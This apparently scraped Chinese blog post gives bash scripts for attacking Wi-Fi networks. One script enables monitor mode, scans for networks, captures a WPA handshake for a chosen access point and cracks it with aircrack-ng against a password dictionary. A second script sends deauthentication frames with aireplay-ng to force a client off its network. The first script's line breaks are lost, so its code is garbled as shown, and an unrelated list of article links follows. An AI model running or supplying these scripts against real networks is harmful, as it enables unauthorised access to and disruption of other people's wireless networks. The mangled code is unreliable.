目录

1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin

2. ack攻击


1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin

#!/bin/bash# 启动网卡监听模式,传入系统版本
startWlanMonitor(){if [ $1 = "Linux" ]thenif [ -z `iwconfig | awk '{if($1=="wlan0mon") print $1}'`]thenairmon-ng start wlan0fielseecho "start Darwin wlanMonitor "fi
}# 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本
startScanner(){ if [ $1 = "Linux" ]thenairodump-ng wlan0mon else/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -sfi
}# 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控,传入系统版本
startAirodump(){if [ $1 = "Linux" ]thenread -p "input BSSID > " inputBssidread -p "input CHANNEL > " inputChannelairodump-ng -c $inputChannel --bssid $inputBssid -w ./handshake wlan0monelseread -p "input CHANNEL > " inputChannel/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport en0 sniff $inputChannelfi
}###############################################################
# 主函数方法
###############################################################echo "*************************************************************"
# 系统检查, 支持Linux和Darwin
system='Linux'
[ `uname` != $system ] && system='Darwin'
echo "system version:" $system
# 创建临时文件夹
[ ! -d "./tmp" ] && mkdir ./tmp
cd tmp
echo "*************************************************************"
# 选择开启监控或者只分析handshake文件,默认只分析handshake文件
read -p "only analyzing handshake file or airmon 1/2 > " inputChoose
if [ "$inputChoose" = "2" ]
thenecho "*************************************************************"# 启动网卡的监听模式,传入系统版本startWlanMonitor $systemecho "*************************************************************"# 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本startScanner $systemecho "*************************************************************"# 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控startAirodump $system
fi
echo "*************************************************************"
# 开始密码破解
read -p "start analyzing handshake file, y/n > " inputAsk
if [ "$inputAsk" = "y" -o "$inputAsk" = "Y" -o -z "$inputAsk" ]
thencp /tmp/*.cap ./aircrack-ng -w ../数据字典.txt ./*.cap
fi
echo "*************************************************************"
echo "exec over !!!"

2. ack攻击

#!/bin/bash
# 执行ACK攻击
echo "*************************************************************"
echo "ack attack "
echo "aireplay-ng -0 10 -a BSSID -c STATION wlan0mon"
echo "*************************************************************"
read -p "input BSSID > " BSSID
read -p "input STATION > " STATION
aireplay-ng -0 10 -a $BSSID -c $STATION wlan0mon

airodump-ng、aircrack-ng使用教程相关推荐

  1. Andrew Ng 的 Deep Learning 教程翻译

    Andrew Ng教授写的教程确实比较易懂,深入浅出,有理论有例子,个人感觉会比纯理论的书看上去更舒服. 索性转载来了我正在看的翻译教程,据说是一群中国人50天翻译出来的,而且放在了Stanford ...

  2. ng命令汇总:Angular CLI 使用教程指南参考

    Angular CLI 使用教程指南参考 Angular CLI 现在虽然可以正常使用但仍然处于测试阶段. Angular CLI 依赖 Node 4 和 NPM 3 或更高版本. 安装 要安装Ang ...

  3. 深度学习大牛andrew.Ng DeepLearning

    MachineLearning 关注 深度学习DL(教程) 转自:http://blog.sina.com.cn/s/blog_46d0a3930101h6nf.html非常激动地宣告,Stanfor ...

  4. ng test 运行报错SassError: Can‘t find stylesheet to import, 导致case 一个都没有执行

    问题解决 在angular.json 中test target中也配置和build target 一样的stylePreprocessorOptions.includePaths , 问题解决. 在调 ...

  5. 前端框架 ng 环境配置

    一.安装 nvm 版本管理工具 nvm 英文全称 node.js version management,是一个 nodejs 的版本管理工具.目的是解决 node.js 各种版本存在不兼容现象,并且可 ...

  6. 【5G NR】NG接口

    目录 1. NG接口定义 2. 接口原则和功能 3. NG 接口用户面 4. NG 接口控制面 5. NG接口信令流程 1. NG接口定义 NG接口指无线接入网与5G核心网之间的接口.在5G SA网络 ...

  7. Angular CLI ng常用命令整理

    Angular CLI 的ng命令常用整理 当前对应版本:angular-cli:1.0.0    node:8.9.3   os:win32 x64 1.创建项目 ng new 命令 描述 ng n ...

  8. ng4中npm start和ng serve--open

    npm start 在命令行中输入npm start后,将会运行package.json文件中scripts里的start的内容: 如果start里写的是ng serve,那么将运行ng serve; ...

  9. Angular CLI 使用教程指南参考

    Angular CLI 使用教程指南参考 Angular CLI 现在虽然可以正常使用但仍然处于测试阶段. Angular CLI 依赖 Node 4 和 NPM 3 或更高版本. 安装 要安装Ang ...

  10. python免费教学视频教程-Python免费教程_Python免费视频教程大全_易玩网

    Python视频教程是一款为广大想要学习Python的小伙伴们量身打造的,让你能够快速的从零开始学起,不管你是菜鸟还是老手,在这里都能够学习到很多相关的知识,喜欢的千万不要错过了哦! [Python视 ...

最新文章

  1. 集合对象根据某个字段首字母排序
  2. Centos 7编译安装 LAMP 环境
  3. excel重复上一步快捷键_工作再忙也要学会的十个Excel快捷键
  4. java多线程之yield
  5. 【MySQL】MySQL 中的 dual表
  6. kubernetes视频教程笔记 (10)-资源清单yaml常用字段解释
  7. ubuntu下编译安装linux内核源码
  8. json数组转换成java对象_json中包含json数组怎么转换成java对象
  9. 红帽linux64系统下载,红帽Linux 8.0 iso-RHEL 8.0 64位下载|RHEL 8.0 64位 - 爱学府软件园...
  10. EDU教育网邮箱申请注册享受Apple、微软、Github等产品教育优惠附带各优惠申请教程
  11. 任务管理器已被系统管理员停用的解决方法
  12. Linux下获取Root权限的方法
  13. 【六足】关于六足机器人运动学正逆解
  14. AGA 2019电竞狂欢盛宴开启:为全国校园电竞玩家“圆梦”
  15. CSDN图片上传去除水印
  16. tp-link无线路由与android手机无线连接设置指南,苹果手机(iPhone)无线连接TP-LINK路由器解决方案...
  17. div+css静态网页设计——迪斯尼公主滚动特效(7页) HTML5网页设计成品_学生DW静态网页设计代做_web课程设计网页制作
  18. 浅析eBay联盟营销的上下文广告机制
  19. Notepad++ 删除关键词所在行
  20. Day-1 HTML基本标签和CSS常用样式

热门文章

  1. linux点阵字符显示字体颜色,点阵字体显示系列之一:ASCII码字库的显示
  2. 期刊卷号期号什么意思
  3. 一个有趣的智力题,可以看看
  4. Android 12系统源码_SystemUI(一)SystemUI的启动流程
  5. phpyun模板使用foreach循环
  6. sd卡休眠不掉电 linux cmd7,随时断电可安全使用SD卡
  7. oracle+锁+杀不死,oracle kill -9 会话
  8. 以太网实习_网络工程-实习报告及
  9. IEC61131, IEC61499图形可视化,PLC图形可视化,PLC组态,VBScript和JavaScript脚本,解决方案源代码, 开发平台100% VC++源码2018!
  10. 聊聊大多数学生毕业后面临的第一件事-租房